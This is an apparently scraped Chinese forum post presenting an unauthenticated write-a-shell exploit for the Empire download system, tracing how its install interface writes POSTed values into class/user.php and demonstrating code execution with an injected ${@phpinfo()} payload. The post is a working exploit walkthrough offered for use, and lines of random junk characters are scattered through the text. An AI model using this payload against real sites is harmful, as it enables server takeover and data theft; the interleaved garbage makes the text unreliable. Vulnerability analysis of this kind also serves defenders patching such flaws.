这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们2 Q* D5 M# E I4 l, f) B) }7 M
8 f4 L( j! w0 y" t9 c1 ?: H' X3 q
3 I3 d( Y( ^* N" q5 s( _这是帝国的一套下载系统 如图
1 F; w" t$ `2 m; e6 x) Zps(不需要任何账户和密码,直接写shell) : \7 L' F- X+ ~/ s* K
由于很多站是由于下载要整合discuz 等等一些论坛....% O1 r( `# i2 H6 q
& l4 Y9 s( Y2 h而帝国他又有一个万能接口,如图 $ T5 I7 z5 b* c3 n: V
; Y, n/ {9 x' W; O% C2 D% S
9 @( e& m3 k3 ^7 X7 L9 P E而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码6 c8 P) H( k# E' f' C
6 p' W: z/ t1 M* R; X当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪" J* g: G) ?4 V9 J& T) H; ~ s7 D
; F k( w6 ?. S
在data/fun.php中的15行) f k/ d C4 x$ o& t# I
- d3 k, P" }3 W
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
! y; W* ~3 D0 o" T% \17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
" u* |' `. ^6 F! N8 f+ _" C3 p5 o9 A) M; c4 v2 [. `
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
0 p! L# \, S# k; k/ N8 S
$ W; `4 O2 e4 u, T. F$ u他将传进来的变量进行了切割,然后赋给了$filetext, N+ U0 ^5 M- A( N c8 u. I
- A1 v. O) B7 b. c然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
0 K+ i& c0 D5 d$ J4 i- A! e: M: [+ w3 g) v
我们看看写入的结果,随便填一个 2 O" o/ J& ^4 O4 X! c. V
, w: B4 x& t0 z# y1 L, K
s/ D. r4 V9 N7 _# p4 l" N% Z6 o$ `+ l# ~
: X$ l9 G5 q7 w3 j1 w( u' q; g: d$ w; j7 K/ K
3 y* U: ?+ w6 T' D1 w3 C) M3 Q: o' F) E
1 f' X0 v# c! s$ P. U7 c L
1 R- g, t3 q/ ^2 ]; C8 Q$ y
! T. f0 f9 a, j+ W( Q8 o0 W5 R3 t3 ]' s$ }2 l
k' F1 j" `- M8 o% G* _/ l, l; i$ w
1 U6 q* _9 c* o/ Y1 G4 }
' h1 N, F: v' A8 Y
/ ~; d6 z; i% n: ?% [+ k; x+ i! C- A, V+ |1 ~2 n1 w
2 F# ]: ^8 N0 h7 F( v7 v: [
e1 S4 r* q; h. x- w, ]
) u; p9 F2 t( Q3 n
L( d9 P. R+ j+ f" H* Q+ X
; S' P' I$ O) D) S1 ^所以我们淫荡点,写个${@phpinfo()}试试 $ i9 T. m5 L! l- _* M+ f! _+ g
然后访问以下class/user.php这个文件! S5 ~ \( B+ b4 u0 h5 |
日了吧 . I8 N- B" ]" ~9 ^, J$ D/ M: F" _
! k8 j" z; R. }
9 f6 g' Q4 m% ]6 H. q
) r2 j9 u+ O, y/ M
& t/ l- n+ d5 k# s, W7 ~
% ]: g: z3 B3 Q- @
|